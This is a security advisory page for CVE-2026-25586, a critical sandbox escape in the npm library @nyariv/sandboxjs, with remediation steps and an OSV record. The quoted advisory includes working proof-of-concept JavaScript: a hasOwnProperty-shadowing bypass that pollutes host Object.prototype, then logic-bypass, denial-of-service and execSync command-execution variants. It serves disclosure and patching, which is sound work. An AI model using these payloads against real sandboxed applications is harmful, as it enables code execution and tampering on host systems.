CVE-2026-25586: @nyariv/sandboxjs @nyariv/sandboxjs Has Sandbox Escape Vulnerability

CRITICAL
Advisory Identifier: GHSA-jjpw-65fv-8g48
CVSS 10.0
CWE-74
Published
Advisory Summary

CVE-2026-25586 is a CRITICAL (CVSS 10.0) @nyariv/sandboxjs has sandbox escape vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves @nyariv/sandboxjs has sandbox escape via prototype whitelist bypass and host prototype pollution. Remediation is available by upgrading affected packages to version 0.8.29.

CVE-2026-25586 at a Glance

CVE Identifier CVE-2026-25586
GHSA Identifier GHSA-jjpw-65fv-8g48
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25586

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.29
npm install @nyariv/sandboxjs@0.8.29
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25586, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.29), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact. The issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists. ## Root Cause `prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped. - [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348) `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');` <img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" /> - [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true. <img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" /> - [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing. <img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" /> ## Proofs of Concept `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration` `node node_modules/rollup/dist/bin/rollup -c` Runtime target: `dist/node/Sandbox.js` ### Baseline: `__proto__` blocked without bypass ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); try { const res = sandbox.compile(`return ({}).__proto__`)().run(); console.log('res', res); } catch (e) { console.log('error', e && e.message); } ``` <img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" /> ### Prototype whitelist bypass -> host `Object.prototype` pollution ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); const code = ` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.polluted = 'pwned'; return 'done'; `; sandbox.compile(code)().run(); console.log('polluted' in ({}), ({}).polluted); ``` <img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" /> ### Logic bypass via prototype pollution ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.isAdmin = true; return 'ok'; `)().run(); console.log('isAdmin', ({}).isAdmin === true); ``` <img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" /> ### DoS by overriding `Object.prototype.toString` ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.toString = function () { throw new Error('aaaaaaa'); }; return 'ok'; `)().run(); try { String({}); } catch (e) { console.log('error', e.message); } ``` <img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" /> ### RCE via host gadget (prototype pollution -> `execSync`) <img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" /> ```js const Sandbox = require('./dist/node/Sandbox.js').default; const { execSync } = require('child_process'); const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.cmd = 'id; return 'ok'; `)().run(); const obj = {}; // typical innocent object const out = execSync(obj.cmd, { encoding: 'utf8' }).trim(); console.log(out); ``` ## Additional Finding : Prototype mutation via intermediate reference This does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks. ### Mutate `Array.prototype.filter` without bypass ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run(); console.log('host filter', [1,2].filter); ``` **Output:** ``` host filter 1 ```

CVE-2026-25586 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.8.29
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm
< 0.8.29
0.8.29

References

Frequently Asked Questions

What is CVE-2026-25586?
CVE-2026-25586 is a security vulnerability in @nyariv/sandboxjs involving @nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.8.29 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-25586?
Upgrading to 0.8.29 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.29. Upgrade your dependency to 0.8.29 or later.
What is the CVSS score of CVE-2026-25586?
CVE-2026-25586 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25586?
CVE-2026-25586 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-25586?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jjpw-65fv-8g48",
  "modified" : "2026-02-06T21:42:50Z",
  "published" : "2026-02-05T21:04:58Z",
  "aliases" : [ "CVE-2026-25586" ],
  "summary" : "@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution",
  "details" : "## Summary\nA sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact.\n\nThe issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.\n\n## Root Cause\n`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.\n\n- [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348)  `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');`\n\n<img width=\"1030\" height=\"593\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f\" />\n\n- [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true.\n\n<img width=\"929\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471\" />\n\n- [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.\n\n<img width=\"769\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897\" />\n\n\n## Proofs of Concept\n `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration`\n `node node_modules/rollup/dist/bin/rollup -c`\n Runtime target: `dist/node/Sandbox.js`\n \n ### Baseline: `__proto__` blocked without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\ntry {\n  const res = sandbox.compile(`return ({}).__proto__`)().run();\n  console.log('res', res);\n} catch (e) {\n  console.log('error', e && e.message);\n}\n```\n<img width=\"734\" height=\"65\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9\" />\n\n### Prototype whitelist bypass -> host `Object.prototype` pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\nconst code = `\n  const o = { hasOwnProperty: () => true };\n  const proto = o.__proto__;\n  proto.polluted = 'pwned';\n  return 'done';\n`;\n\nsandbox.compile(code)().run();\n\nconsole.log('polluted' in ({}), ({}).polluted);\n```\n<img width=\"549\" height=\"95\" alt=\"image\" src=\"https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30\" />\n\n\n### Logic bypass via prototype pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () => true };\n  const proto = o.__proto__;\n  proto.isAdmin = true;\n  return 'ok';\n`)().run();\n\nconsole.log('isAdmin', ({}).isAdmin === true);\n```\n<img width=\"527\" height=\"83\" alt=\"image\" src=\"https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57\" />\n\n### DoS by overriding `Object.prototype.toString`\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () => true };\n  const proto = o.__proto__;\n  proto.toString = function () { throw new Error('aaaaaaa'); };\n  return 'ok';\n`)().run();\n\ntry {\n  String({});\n} catch (e) {\n  console.log('error', e.message);\n}\n```\n<img width=\"500\" height=\"147\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41\" />\n\n### RCE via host gadget (prototype pollution -> `execSync`)\n\n<img width=\"737\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40\" />\n\n\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst { execSync } = require('child_process');\n\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () => true };\n  const proto = o.__proto__;\n  proto.cmd = 'id;\n  return 'ok';\n`)().run();\n\nconst obj = {}; // typical innocent object\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n\n## Additional Finding : Prototype mutation via intermediate reference\nThis does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.\n### Mutate `Array.prototype.filter` without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();\n\nconsole.log('host filter', [1,2].filter);\n```\n**Output:**\n```\nhost filter 1\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.29"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.28"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25586"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T21:04:58Z",
    "nvd_published_at" : "2026-02-06T20:16:10Z"
  }
}